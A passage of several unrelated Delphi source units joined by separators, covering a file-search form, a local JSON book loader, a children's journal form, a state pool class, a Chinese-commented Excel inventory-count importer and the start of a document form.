ts.Frame := TfraFileList.Create(ts);
ts.Frame.Parent := ts;
ts.Frame.Align := alClient;
ts.Frame.Description := desc;
ts.Frame.lv.Clear;
ts.Caption := IntToStr(SearchCount){ + '. ' + FormatDateTime('hh:mm:ss', now)};
ts.Frame.CreateSearchFrame;
Pages.ActivePage := ts;
pnlFiles.Visible := True;
pnlBackground.Visible := False;
SaveHistory(desc);
end;
function TfrmMain.GetDescription: string;
var
sh: string;
n: Integer;
begin
sh := 'Pliki:' + #13#10;
with frmSearchFiles.lv do
for n := 1 to Items.Count-1 do
if Items[n].Checked then
sh := sh + Format(' %s (%s)' + #13#10, [Items[n].SubItems[0],
BoolToStr(not Boolean(Items[n].ImageIndex), True)]);
sh := sh + #13#10 + 'Foldery:' + #13#10;
with frmSearchFolders.lv do
for n := 1 to Items.Count-1 do
if Items[n].Checked then
sh := sh + Format(' %s (%s)' + #13#10, [Items[n].Subitems[0],
BoolToStr(not Boolean(Items[n].ImageIndex), True)]);
sh := sh + #13#10 + 'Opcje:' + #13#10;
with frmSearchOptions do
sh := sh + ' Ilość podkatalogów: ' + IntToStr(seSubFolders.Value) + #13#10
+ ' Przeszukuj katalogi ukryte i systemowe: ' + BoolToStr(cbHiddenFolders.Checked, True) + #13#10
+ ' Uwzględniaj pliki ukryte i systemowe: ' + BoolToStr(cbHiddenFiles.Checked, True) + #13#10;
with frmSearchPhrase do
if Trim(reText.Text) <> '' then
begin
sh := sh + #13#10 + 'Fraza:' + #13#10;
sh := sh + ' Fraza: "' + reText.Text + '"' + #13#10
+ ' Uwzględnij wielkość liter: ' + BoolToStr(cbCaseSens.Checked, True) + #13#10
+ ' Maskowanie: ' + BoolToStr(cbUseMask.Checked, True) + #13#10;
end;
with frmSearchSize do
begin
if cbSizeFrom.Checked or cbSizeTo.Checked then
sh := sh + #13#10 + 'Rozmiar:' + #13#10;
if cbSizeFrom.Checked then
sh := sh + Format(' Rozmiar minimalny: %d %s' + #13#10,
[seSizeFrom.Value, cbbSizeFrom.Text]);
if cbSizeTo.Checked then
sh := sh + Format(' Rozmiar maksymalny: %d %s' + #13#10,
[seSizeTo.Value, cbbSizeTo.Text]);
end;
with frmSearchDate do
begin
if cbDateFrom.Checked or cbDateTo.Checked then
sh := sh + #13#10 + 'Data:' + #13#10;
if cbDateFrom.Checked then
sh := sh + Format(' Data od: %s' + #13#10, [DateTimeToStr(dtpDateFrom.DateTime)]);
if cbDateTo.Checked then
sh := sh + Format(' Data do: %s' + #13#10, [DateTimeToStr(dtpDateTo.DateTime)]);
end;
with frmSearchAttributes do
begin
if (cbAttribR.State <> cbGrayed) or (cbAttribA.State <> cbGrayed)
or (cbAttribH.State <> cbGrayed) or (cbAttribS.State <> cbGrayed)
then sh := sh + #13#10 + 'Atrybuty:' + #13#10;
if cbAttribR.State <> cbGrayed then
sh := sh + Format(' Tylko do odczytu: %s' + #13#10,
[BoolToStr(cbAttribR.State = cbChecked, True)]);
if cbAttribA.State <> cbGrayed then
sh := sh + Format(' Archiwalny: %s' + #13#10,
[BoolToStr(cbAttribA.State = cbChecked, True)]);
if cbAttribH.State <> cbGrayed then
sh := sh + Format(' Ukryty: %s' + #13#10,
[BoolToStr(cbAttribH.State = cbChecked, True)]);
if cbAttribS.State <> cbGrayed then
sh := sh + Format(' Systemowy: %s' + #13#10,
[BoolToStr(cbAttribS.State = cbChecked, True)]);
end;
Result := sh;
end;
procedure TfrmMain.btnInfoClick(Sender: TObject);
begin
ShowMessage(TFrameTabSheet(Pages.ActivePage).Frame.Description);
end;
procedure TfrmMain.pnlBackgroundResize(Sender: TObject);
begin
imgBackground.Left := pnlBackground.Width div 2 - imgBackground.Width div 2;
imgBackground.Top := pnlBackground.Height div 2 - imgBackground.Height div 2;
end;
procedure TfrmMain.btnHistoryClick(Sender: TObject);
begin
with TfrmHistory.Create(Self) do
try
ShowModal;
finally
Free;
end;
end;
procedure TfrmMain.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_RETURN then btnSearch.Click;
if Key = VK_ESCAPE then Close;
end;
procedure TfrmMain.taskPanelKeyAction(Sender: TCustomEasyListview;
var CharCode: Word; var Shift: TShiftState; var DoDefault: Boolean);
begin
FormKeyDown(Sender, CharCode, Shift);
end;
procedure TfrmMain.About1Click(Sender: TObject);
begin
ShowAbout(Self);
end;
end.
|
unit ClientAPI.Books;
interface
uses
System.JSON;
function ImportBooksFromWebService (const token:string): TJSONArray;
implementation
uses
System.SysUtils, System.IOUtils;
function GetBooksFromService (const token:string): TJSONValue;
var
JSONFileName: string;
fname: string;
FileContent: string;
begin
JSONFileName := 'json\books.json';
if FileExists(JSONFileName) then
fname := JSONFileName
else if FileExists('..\..\'+JSONFileName) then
fname := '..\..\'+JSONFileName
else
raise Exception.Create('Error Message');
FileContent := TFile.ReadAllText(fname,TEncoding.UTF8);
Result := TJSONObject.ParseJSONValue(FileContent);
end;
function ImportBooksFromWebService (const token:string): TJSONArray;
var
jsValue: TJSONValue;
begin
jsValue := GetBooksFromService (token);
if jsValue is TJSONArray then
Result := jsValue as TJSONArray
else begin
jsValue.Free;
Result := nil;
end;
end;
end.
|
unit frmChildDataForJournal;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs,
Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Mask, Vcl.ComCtrls, dbfunc, uKernel;
type
TfChildDataForJournal = class(TForm)
GroupBox1: TGroupBox;
Label2: TLabel;
Label3: TLabel;
cmbEducationProgram: TComboBox;
cmbPedagogue: TComboBox;
Label4: TLabel;
cmbAcademicYear: TComboBox;
lvChildList: TListView;
ListBox1: TListBox;
Label1: TLabel;
bClear: TButton;
bAdd: TButton;
GroupBox2: TGroupBox;
RadioGroup1: TRadioGroup;
cmbLearningGroup: TComboBox;
bExport: TButton;
bClose: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure bCloseClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure RadioGroup1Click(Sender: TObject);
procedure cmbLearningGroupChange(Sender: TObject);
procedure cmbEducationProgramChange(Sender: TObject);
procedure cmbPedagogueChange(Sender: TObject);
private
AcademicYear: TResultTable;
PedagogueSurnameNP: TResultTable;
EducationProgram: TResultTable;
LearningGroup: TResultTable;
ChildList: TResultTable;
FIDPedagogue: integer;
FIDAcademicYear: integer;
id_program, id_group: integer;
procedure SetIDPedagogue(const Value: integer);
procedure SetIDAcademicYear(const Value: integer);
procedure ShowChildList;
public
property IDPedagogue: integer read FIDPedagogue write SetIDPedagogue;
property IDAcademicYear: integer read FIDAcademicYear
write SetIDAcademicYear;
end;
var
fChildDataForJournal: TfChildDataForJournal;
implementation
{$R *.dfm}
procedure TfChildDataForJournal.bCloseClick(Sender: TObject);
begin
Close;
end;
procedure TfChildDataForJournal.cmbEducationProgramChange(Sender: TObject);
begin
ShowChildList;
end;
procedure TfChildDataForJournal.cmbLearningGroupChange(Sender: TObject);
begin
ShowChildList;
end;
procedure TfChildDataForJournal.cmbPedagogueChange(Sender: TObject);
begin
ShowChildList;
end;
procedure TfChildDataForJournal.FormCreate(Sender: TObject);
begin
AcademicYear := nil;
PedagogueSurnameNP := nil;
EducationProgram := nil;
LearningGroup := nil;
ChildList := nil;
end;
procedure TfChildDataForJournal.FormDestroy(Sender: TObject);
begin
if Assigned(AcademicYear) then
FreeAndNil(AcademicYear);
if Assigned(PedagogueSurnameNP) then
FreeAndNil(PedagogueSurnameNP);
if Assigned(EducationProgram) then
FreeAndNil(EducationProgram);
if Assigned(LearningGroup) then
FreeAndNil(LearningGroup);
if Assigned(ChildList) then
FreeAndNil(ChildList);
end;
procedure TfChildDataForJournal.FormShow(Sender: TObject);
begin
if not Assigned(AcademicYear) then
AcademicYear := Kernel.GetAcademicYear;
Kernel.FillingComboBox(cmbAcademicYear, AcademicYear, 'NAME', false);
Kernel.ChooseComboBoxItemIndex(cmbAcademicYear, AcademicYear, true, 'ID',
IDAcademicYear);
if not Assigned(PedagogueSurnameNP) then
PedagogueSurnameNP := Kernel.GetPedagogueSurnameNP;
Kernel.FillingComboBox(cmbPedagogue, PedagogueSurnameNP, 'SurnameNP', false);
Kernel.ChooseComboBoxItemIndex(cmbPedagogue, PedagogueSurnameNP, true,
'ID_OUT', IDPedagogue);
if not Assigned(EducationProgram) then
EducationProgram := Kernel.GetEducationProgram;
Kernel.FillingComboBox(cmbEducationProgram, EducationProgram, 'NAME', true);
cmbEducationProgram.ItemIndex := 0;
ShowChildList;
end;
procedure TfChildDataForJournal.RadioGroup1Click(Sender: TObject);
var
id_learning_form, id_status: integer;
begin
id_learning_form := 1; // только "группуовые группы"
id_status := 0; // все группы
if RadioGroup1.ItemIndex = 0 then
if Assigned(LearningGroup) then
FreeAndNil(LearningGroup);
LearningGroup := Kernel.GetLearningGroupName(id_program, IDPedagogue,
IDAcademicYear, id_learning_form, id_status);
Kernel.FillingComboBox(cmbLearningGroup, LearningGroup, 'NAME', false);
cmbLearningGroup.ItemIndex := 0;
end;
procedure TfChildDataForJournal.SetIDAcademicYear(const Value: integer);
begin
if FIDAcademicYear <> Value then
FIDAcademicYear := Value;
end;
procedure TfChildDataForJournal.SetIDPedagogue(const Value: integer);
begin
if FIDPedagogue <> Value then
FIDPedagogue := Value;
end;
procedure TfChildDataForJournal.ShowChildList;
begin
if cmbEducationProgram.ItemIndex = 0 then
id_program := 0
else
id_program := EducationProgram[cmbEducationProgram.ItemIndex - 1]
.ValueByName('ID');
if RadioGroup1.ItemIndex = 1 then
id_group := LearningGroup[cmbLearningGroup.ItemIndex].ValueByName('ID')
else
id_group := 0;
IDPedagogue := PedagogueSurnameNP[cmbPedagogue.ItemIndex].ValueByName('ID_OUT');
if Assigned(ChildList) then
FreeAndNil(ChildList);
ChildList := Kernel.GetChildData(id_program, IDPedagogue, IDAcademicYear, id_group);
Kernel.GetLVChildData(lvChildList, ChildList);
if lvChildList.Items.Count > 0 then
begin
lvChildList.ItemIndex := 0;
bAdd.Enabled := true;
end
else
bAdd.Enabled := false;
end;
end.
|
unit StatesPoolUnit;
interface
type
TState = record
Name: String;
IsDeleted: Boolean;
case ValueType: (VFlag, VString, VNull) of
VFlag:
(Flag: Boolean);
VString:
(Data: ShortString);
VNull:
();
end;
const
NullState: TState = (Name: ''; IsDeleted: false; ValueType: VNull);
type
TStatesPool = class
private
States: array of TState;
procedure AddState(StateName: String; Value: TState);
function GetState(StateName: String): TState;
procedure SetState(StateName: String; Value: TState);
public
property State[StateName: String]: TState read GetState write SetState;
end;
implementation
{ TStatesPool }
procedure TStatesPool.AddState(StateName: String; Value: TState);
var
L: Integer;
begin
L := Length(States);
SetLength(States, L + 1);
States[L] := Value;
States[L].Name := StateName;
States[L].IsDeleted := false;
end;
function TStatesPool.GetState(StateName: String): TState;
var
S: TState;
begin
for S in States do
if S.Name = StateName then
Exit(S);
Exit(NullState);
end;
procedure TStatesPool.SetState(StateName: String; Value: TState);
var
i: Integer;
begin
for i := Low(States) to High(States) do
if States[i].Name = StateName then
begin
States[i] := Value;
Exit;
end;
AddState(StateName, Value);
end;
end.
|
unit uFrm_ImportXLS_CHECK;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uBaseEditFrm, Menus, cxLookAndFeelPainters, ADODB, DB,
cxMaskEdit, cxSpinEdit, ExtCtrls, cxProgressBar, cxButtons, cxControls, DBClient,
ActnList, cxContainer, cxEdit, cxTextEdit, StdCtrls, Buttons, jpeg,
comobj, ComCtrls;
type
TFrmImportXlSCheck = class(TSTBaseEdit)
EdFileName: TcxTextEdit;
PB: TcxProgressBar;
cxedtNo: TcxSpinEdit;
OpenDg: TOpenDialog;
actList: TActionList;
actXLSImport: TAction;
btOK: TcxButton;
btCancel: TcxButton;
Panel2: TPanel;
Btbrowse: TcxButton;
Image2: TImage;
Label1: TLabel;
Label3: TLabel;
Label4: TLabel;
Panel3: TPanel;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
MMLog: TMemo;
TabSheet2: TTabSheet;
mmErrorLog: TMemo;
Label6: TLabel;
Label7: TLabel;
edColBegin: TcxTextEdit;
edColEnd: TcxTextEdit;
Panel4: TPanel;
Image3: TImage;
procedure actXLSImportExecute(Sender: TObject);
procedure BtbrowseClick(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
_Detail : TClientDataSet;
function ImportExcelSheets(Path, xlsName: string; Sheetobj: variant): boolean;
function ImportExcel(Path, xlsName: string; Excelobj: variant): boolean; //导入单个excel中的每个工作表
public
{ Public declarations }
end;
var
FrmImportXlSCheck: TFrmImportXlSCheck;
function ImportXLSCheck_Frm(KeyValues : string;DataSet : TClientDataSet):Boolean; //打开盘点单开单界面
implementation
uses Pub_Fun,FrmCliDM,uFrm_CheckBill;
{$R *.dfm}
function ImportXLSCheck_Frm(KeyValues : string;DataSet : TClientDataSet):Boolean; //打开盘点单开单界面
begin
Application.CreateForm(TFrmImportXlSCheck, FrmImportXlSCheck);
FrmImportXlSCheck._Detail := DataSet;
if UserInfo.SizeGroupCount<=1 then
FrmImportXlSCheck.cxedtNo.Value := 2
else
FrmImportXlSCheck.cxedtNo.Value := UserInfo.SizeGroupCount;
FrmImportXlSCheck.ShowModal;
FrmImportXlSCheck.Free;
end;
procedure TFrmImportXlSCheck.actXLSImportExecute(Sender: TObject);
var xlsName : string;
Excelobj: variant; //必须加入comobj单元
begin
inherited;
PageControl1.ActivePageIndex := 0;
xlsName := Trim(EdFileName.Text);
if xlsName='' then
begin
ShowMsg(Handle,'请选择导入的盘点单文件！',[]);
Btbrowse.SetFocus;
exit;
end;
screen.Cursor := crHourGlass;
try
try
Excelobj := Createoleobject('Excel.application');
except
application.MessageBox('您的机器里可能未安装Microsoft Excel或安装异常! ', '金蝶提示', 64);
Exit;
end;
try
Excelobj.workbooks.close; // Excelobj对象必须关闭，否则下次的Open方法会失效，保持的是第一次打开的excel
Excelobj.workbooks.open(xlsName); //打开excel
except
Gio.AddShow('文件打开失败,请检查文件类型是否正确! ');
application.MessageBox('文件打开失败,请检查文件类型是否正确! ', '金蝶提示', 64);
exit;
end;
ImportExcel('', xlsName, Excelobj);
finally
Excelobj.Quit;
Excelobj:= Unassigned;
screen.Cursor := crDefault;
EdFileName.Text := '';
end;
end;
function TFrmImportXlSCheck.ImportExcel(Path, xlsName: string;
Excelobj: variant): boolean;
//1.传入xls对象，逐表处理
//2.同时ImportExcel也返回false， xlsName 文件不再执行导入，导入的数据进行回滚
var sheetobj: variant; //工作表对象
SheetCount, i: integer;
begin
Result := True; //默认导入成功，如果出错则返回false
//SheetCount := ExcelObj.WorkBooks[1].WorkSheets.count; //获取excel中的工作表数量
sheetobj := Excelobj.workbooks[1].worksheets[1];
sheetobj.Activate; //打开一个工作表
//Mmo.Lines.Add(' 开始导入[' + xlsName + ']工作表[' + sheetobj.Name + ']');
Gio.AddShow('开始导入xls【'+xlsName+'】');
if not ImportExcelSheets(Path, xlsName, sheetobj) then
begin
Result := False;
Exit; //出错退出整个EXCEL导入
end;
Gio.AddShow('xls【'+xlsName+'】导入完成！');
end;
function TFrmImportXlSCheck.ImportExcelSheets(Path, xlsName: string;
Sheetobj: variant): boolean;
var
StyleCode,ColorCode,CupName : string;
Rows,cols,R, c, i, SizeEndCol, SizeCount, StyleSizeCount, StyleCount, ImportCount,SizeGroupColumn,BeginRow,SizeColBegin,SizeColEnd: integer;
fieldname, val, FilePath, cellValue, R_Error, RandomVal: string;
gMaterialID,gColorID,
gSizeGroupID, SheetName,sqlstr,gCupID: string;
gSizeID,gSizeCode,fAmountFieldName : string;
fAmount,SumAmount : Double;
begin
Gio.AddShow('开始导入xls! ');
Result := True;
ImportCount := 0; //导入数量
SumAmount := 0; //导入尺码合计数量默认为0
SheetName := Sheetobj.Name; //获取表名
Rows := SheetObj.UsedRange.Rows.Count;
if Rows < cxedtNo.Value+1 then //从cxedtNo+1行开始导入
begin
Gio.AddShow('第['+inttostr(cxedtNo.Value)+']行之后没有数据，请调整导入开始行数，！');
MMLog.lines.add('第['+inttostr(cxedtNo.Value)+']行之后没有数据，请调整导入开始行数，！');
Result := False;
Exit;
end;
cols := SheetObj.UsedRange.Columns.count;
try
_Detail.DisableControls;
//_Detail.OnCalcFields := nil;
try
SizeCount := UserInfo.MaxSizeCount;
SizeEndCol := SizeCount + 8;
pb.Position := 0;
pb.Properties.Max := Rows - cxedtNo.Value;
BeginRow := cxedtNo.Value;
//获取尺码列开始位置 SizeColBegin
for i := 1 to cols do
begin
if vartostr(Trim(sheetobj.cells[1, i]))<>'' then
begin
SizeColBegin := i;
break;
end;
if i>1000 then
begin
MMLog.lines.add('找不到尺码位置，停止导入！');
Break; //预防第一行为空异常
end;
end;
if SizeColBegin=0 then
begin
MMLog.lines.add('找不到尺码位置，停止导入！');
Result := False;
abort;
end;
edColBegin.Text := IntToStr(SizeColBegin);
//获取尺码列结束位置 SizeColBegin
for i := SizeColBegin to cols do
begin
if vartostr(Trim(sheetobj.cells[BeginRow, i]))='数量合计' then
begin
SizeColEnd := i-1;
break;
end;
if (i>SizeColBegin+UserInfo.MaxSizeCount) or (i>1000) then
begin
SizeColEnd := SizeColBegin+UserInfo.MaxSizeCount;
Break;
end; //预防第一行为空异常
end;
edColEnd.Text := IntToStr(SizeColEnd);
for r := BeginRow+1 to rows do //逐个读取单元，从第cxedtNo.Value+1行开始读
begin
StyleCode := '';
ColorCode := '';
CupName := '';
StyleCode := vartostr(Trim(sheetobj.cells[r, 1])); //款号
if StyleCode ='' then
begin
MMLog.lines.add('第'+inttostr(r)+'行商品为空,导入程序跳过此行！');
mmErrorLog.lines.add('第'+inttostr(r)+'行商品为空,导入程序跳过此行！');
Result := False;
Continue;
end;
{
if r>56 then
begin
MMLog.lines.add('开始导入第'+inttostr(r)+'行商品['+StyleCode+']！');
end;
}
ColorCode := vartostr(Trim(sheetobj.cells[r, 3])); //获取颜色编码
if ColorCode='' then
begin
MMLog.lines.add('第'+inttostr(r)+'行商品['+StyleCode+']颜色为空！');
Result := False;
Exit;
end;
MMLog.lines.add('【'+DateTimeToStr(CliDM.Get_ServerTime)+'】 开始导入第'+inttostr(r)+'行商品['+StyleCode+']颜色['+ColorCode+']！');
CupName := vartostr(Trim(sheetobj.cells[r, 5])); //获取内长名称
/////////////////////////////////////////检查商品 begin//////////////////////////////////////////////
CliDM.qryTemp.Close;
CliDM.qryTemp.SQL.Clear;
CliDM.qryTemp.SQL.Add('select FID,CFSIZEGROUPID from t_Bd_Material(nolock) where fnumber='+QuotedStr(StyleCode));
CliDM.qryTemp.Open;
gSizeGroupID := CliDM.qryTemp.fieldbyname('CFSIZEGROUPID').AsString; //尺码组
gMaterialID := CliDM.qryTemp.fieldbyname('FID').AsString;
if gMaterialID='' then
begin
MMLog.lines.add(' 第'+inttostr(r)+'行商品['+StyleCode+']不存在,导入时跳过此行！');
mmErrorLog.lines.add('第'+inttostr(r)+'行商品['+StyleCode+']不存在,导入时跳过此行！');
pb.Refresh;
Pb.Position := Pb.Position + 1;
Result := False;
Continue;
end;
/////////////////////////////////////////检查商品 end//////////////////////////////////////////////
/////////////////////////////////////////检查颜色 begin//////////////////////////////////////////////
CliDM.qryTemp.Close;
CliDM.qryTemp.SQL.Clear;
CliDM.qryTemp.SQL.Add('select bb.FID as ColorID ,Bb.Fnumber as ColorNo,bb.fname_l2 as ColorName '+
' from t_Bd_Material M(nolock) left join CT_MS_MATERIALCOLORPG G(nolock) on M.FID=G.Fparentid '+
' left join T_BD_AsstAttrValue BB(nolock) on G.CFColorID=BB.FID where M.fnumber='+QuotedStr(StyleCode)); //颜色
CliDM.qryTemp.Open;
if CliDM.qryTemp.Locate('ColorNo',ColorCode,[]) then
begin
gColorID := CliDM.qryTemp.fieldbyname('ColorID').AsString;
end
else
begin
gColorID := '';
end;
if (Trim(ColorCode)<>'' ) and (trim(gColorID)='' ) then
begin
MMLog.Lines.Add(' 文件【' + xlsName + '】工作表[' + sheetobj.Name + ']商品 ['+StyleCode+']的颜色['+ColorCode+']不存在！');
pb.Refresh;
Pb.Position := Pb.Position + 1;
Result := False;
Continue;
end;
/////////////////////////////////////////检查颜色 end//////////////////////////////////////////////
/////////////////////////////////////////检查内长 begin/////////////////////////////////////////
if CupName<>'' then
begin
CliDM.qryTemp.Close;
CliDM.qryTemp.SQL.Clear;
CliDM.qryTemp.SQL.Add(' select M.FID,M.fnumber,M.Fname_L2, bb.FID as CupID ,Bb.Fnumber as CupNo,bb.fname_l2 as CupName '+
' from t_Bd_Material M(nolock) left join CT_MS_MATERIALCUPPG G(nolock) on M.FID=G.Fparentid '+
' left join T_BD_AsstAttrValue '+
' BB(nolock) on G.CFCuPID=BB.FID where M.fnumber='+QuotedStr(StyleCode));
CliDM.qryTemp.Open;
if CliDM.qryTemp.Locate('CupName',CupName,[]) then
begin
gCupID := CliDM.qryTemp.fieldbyname('CupID').AsString;
end
else
begin
gCupID :='';
end;
end
else
begin
gCupID :=''; //没有内长清空owen
end;
if (Trim(CupName)<>'' ) and (trim(gCupID)='' ) then
begin
MMLog.Lines.Add(' 文件【' + xlsName + '】工作表[' + sheetobj.Name + ']商品 ['+StyleCode+']的内长['+CupName+']不存在');
pb.Refresh;
Pb.Position := Pb.Position + 1;
Result := False;
Continue;
end;
/////////////////////////////////////////检查内长 end/////////////////////////////////////////
/////////////////////////////////////////导入尺码数量 begin/////////////////////////////////////////
CliDM.qryTempImport.Close;
CliDM.qryTempImport.SQL.Clear;
CliDM.qryTempImport.SQL.Add(' Select M.FID,M.fnumber,M.Fname_L2,m.fmodel,M.CFSIZEGROUPID,M.CFINNERPRICE,M.CFUNITYPRICE,G.CFSIZEID,G.FSEQ,S.fname_l2 as SizeName,S.fNumber as SIZECode '
+' from t_Bd_Material M(nolock) left join CT_BAS_SIZEGROUPEntry G(nolock) on M.Cfsizegroupid=G.Fparentid '
+' left join T_BD_AsstAttrValue S(nolock) on S.FID=G.CFSizeID where M.fnumber='+QuotedStr(StyleCode));
CliDM.qryTempImport.Open;
StyleSizeCount := CliDM.qryTempImport.RecordCount;
fAmount := 0;
i :=0;
try
// _Detail.OnCalcFields := nil;
for c := SizeColBegin to SizeColEnd do
// for c := SizeColBegin to SizeColBegin+Userinfo.MaxSizeCount do
begin
cellValue := trim(vartostr(sheetobj.cells[r, c]));
inc(i);
if (cellValue<>'') and (c>(StyleSizeCount+SizeColBegin-1)) then
//if (cellValue<>'') and (c>SizeColEnd) then
begin
fAmount := 0;
try
fAmount := StrToFloat(cellValue);
except
MMLog.Lines.Add(' 第['+inttostr(r)+']行商品 ['+StyleCode+']的尺码数量['+cellValue+']不是数字类型，跳过当前单元格继续导入！');
mmErrorLog.Lines.Add(' 第['+inttostr(r)+']行商品 ['+StyleCode+']的尺码数量['+cellValue+']不是数字类型，跳过当前单元格继续导入！');
end;
if (fAmount<>0) or (cellValue<>'') then //20120229 控制不在尺码范围的数量，不允许导入盘点单，避免横排转竖排报错
begin
//MMLog.Lines.Add(' 第['+inttostr(r)+']行商品 ['+StyleCode+']第['+inttostr(c)+']列尺码数量['+cellValue+']不在商品的尺码组内，跳过当前单元格继续导入！');
mmErrorLog.Lines.Add(' 第['+inttostr(r)+']行商品 ['+StyleCode+']第['+inttostr(c)+']列尺码数量['+cellValue+']不在商品的尺码组内，跳过当前单元格继续导入！');
Continue;
end;
end;
if cellValue <> '' then
begin
fAmount := 0;
try
fAmount := StrToFloat(cellValue);
except
MMLog.Lines.Add(' 第['+inttostr(r)+']行商品 ['+StyleCode+']的尺码数量['+cellValue+']不是数字类型，跳过当前单元格继续导入！');
mmErrorLog.Lines.Add(' 第['+inttostr(r)+']行商品 ['+StyleCode+']的尺码数量['+cellValue+']不是数字类型，跳过当前单元格继续导入！');
Continue;
end;
///大丰盘点允许输入负数 owen
{ if fAmount < 0 then
begin
MMLog.Lines.Add(' 第['+inttostr(r)+']行商品 ['+StyleCode+']的尺码数量['+cellValue+']小于0，跳过当前单元格继续导入！');
mmErrorLog.Lines.Add(' 第['+inttostr(r)+']行商品 ['+StyleCode+']的尺码数量['+cellValue+']小于0，跳过当前单元格继续导入！');
Continue;
end; }
SumAmount := SumAmount+fAmount;
{
if CliDM.qryTempImport.Locate('FSEQ',I,[]) then
begin
gSizeID := CliDM.qryTempImport.fieldbyname('CFSIZEID').AsString;
end;
}
fAmountFieldName := 'fAmount_'+intToStr(c-SizeColBegin+1);
_Detail.First;
if _Detail.Locate('CFMATERIALID;CFCOLORID;CFCUPID',VarArrayOf([gMaterialID,gColorID,gCupID]),[]) then
// if _Detail.Locate('CFMATERIALID;CFCOLORID;CFSIZEID;CFCUPID',VarArrayOf([gMaterialID,gColorID,gSizeID,gCupID]),[]) then
begin
if not (_Detail.State in DB.dsEditModes) then _Detail.Edit;
_Detail.FieldByName(fAmountFieldName).AsFloat := _Detail.FieldByName(fAmountFieldName).AsFloat+fAmount;
end
else
begin
if not (_Detail.State in DB.dsEditModes) then _Detail.Edit;
_Detail.Append;
_Detail.FieldByName('CFMATERIALID').AsString := gMaterialID;
_Detail.FieldByName('CFCOLORID').AsString := gColorID;
//if _Detail.FindField('CFSIZEID')<> nil then _Detail.FieldByName('CFSIZEID').AsString := gSizeID
_Detail.FieldByName('CFCUPID').AsString := gCupID;
//if _Detail.FindField('CFWAREHOUSEID') <> nil then _Detail.FieldByName('CFWAREHOUSEID').AsString := UserInfo.Warehouse_FID;
_Detail.FieldByName(fAmountFieldName).AsFloat := fAmount;
end;
end;
Application.ProcessMessages;
end;
finally
if (_Detail.State in DB.dsEditModes) then _Detail.Post;
// _Detail.OnCalcFields := Frm_CheckBill.cdsDetailCalcFields;
// _Detail.First;
end;
/////////////////////////////////////////导入尺码数量 end/////////////////////////////////////////
ImportCount := ImportCount+1;
Application.ProcessMessages;
pb.Refresh;
Pb.Position := Pb.Position + 1;
if (r mod 100)=0 then //每导入100行，进行一次横排转竖排操作，避免整单保存时数据太多过慢
begin
MMLog.Lines.Add('导入数据开始做横转竖处理,处理完后将继续导入！');
Gio.AddShow('导入数据开始做横排转竖！');
Frm_CheckBill.AmountToDetail_RowNew(CliDM.conClient,Frm_CheckBill.cdsDetailAmount,Frm_CheckBill.cdsDetail);
Gio.AddShow('导入数据完成横排转竖，继续导入！');
MMLog.Lines.Add('导入数据完成横排转竖！');
end;
end; //结束行读取 for
Pb.Position := pb.Properties.Max;
except
on E :Exception do
begin
MMLog.Lines.Add('导入 Excel 文件出错:'+E.Message);
mmErrorLog.Lines.Add('导入 Excel 文件出错:'+E.Message);
end;
end;
finally
_Detail.EnableControls;
//_Detail.OnCalcFields := Frm_CheckBill.cdsDetailAmountCalcFields;
_Detail.First;
end;
if Result then
begin
Gio.AddShow('共计['+inttostr(Rows-BeginRow)+']行记录，成功导入['+inttostr(ImportCount)+']行横排EXCEL记录,合计数量为【'+FloatToStr(SumAmount)+'】!');
MMLog.Lines.Add('共计['+inttostr(Rows-BeginRow)+']行记录，成功导入['+inttostr(ImportCount)+']行横排EXCEL记录,合计数量为【'+FloatToStr(SumAmount)+'】!');
end;
if mmErrorLog.Lines.Count>0 then PageControl1.ActivePageIndex := 1
else
PageControl1.ActivePageIndex := 0;
Result := True;
end;
procedure TFrmImportXlSCheck.BtbrowseClick(Sender: TObject);
begin
inherited;
if OpenDg.Execute then
begin
EdFileName.Text := OpenDg.FileName;
end;
end;
procedure TFrmImportXlSCheck.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
inherited;
if (shift = [ssCtrl]) and (key = 69) then Btbrowse.Click;
if (shift = [ssCtrl]) and (key = 89) then btOK.Click;
if Key=27 then btCancel.Click; //ESC
end;
procedure TFrmImportXlSCheck.FormCreate(Sender: TObject);
begin
inherited;
LoadImage(UserInfo.ExePath+'\Img\POS_Edit_Top2.jpg',Image2);
LoadImage(UserInfo.ExePath+'\Img\POS_Edit_Top2.jpg',Image3);
PageControl1.ActivePageIndex := 0;
end;
end.
|
unit uPiPrepareDocAdd;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, StdCtrls, cxButtons, ActnList,
cxCurrencyEdit, cxButtonEdit, cxMemo, cxTextEdit, cxMaskEdit,
cxDropDownEdit, cxCalendar, cxControls, cxContainer, cxEdit, cxLabel, ibase,
upi_resources, upi_Loader,AccMgmt;
type
TfmPrepareDocAdd = class(TForm)
OkButton: TcxButton;
CancelButton: TcxButton;
LabelDate: TcxLabel;
cxLabel4: TcxLabel;
DateEdit: TcxDateEdit;
MemoNote: TcxMemo;
LabelNum: TcxLabel;
LabelTypeDoc: TcxLabel;
ButtonEditTypeDoc: TcxButtonEdit;
ActionList1: TActionList;
ActionSave: TAction;
ActionExit: TAction;
TextEditNum: TcxTextEdit;
procedure OkButtonClick(Sender: TObject);
procedure CancelButtonClick(Sender: TObject);
procedure ButtonEditTypeDocPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure ButtonEditTypeDocKeyPress(Sender: TObject; var Key: Char);
procedure TextEditNumKeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
public
id_doc_header : variant;
id_type_doc : variant;
numb_pack : integer;
id_user : integer;
DB_handle : TISC_DB_HANDLE;
constructor Create(AOwner:TComponent);reintroduce;
end;
var
fmPrepareDocAdd: TfmPrepareDocAdd;
implementation
uses DMPIPrepareDoc1df;
{$R *.dfm}
constructor TfmPrepareDocAdd.Create(AOwner:TComponent);
begin
Screen.Cursor:=crHourGlass;
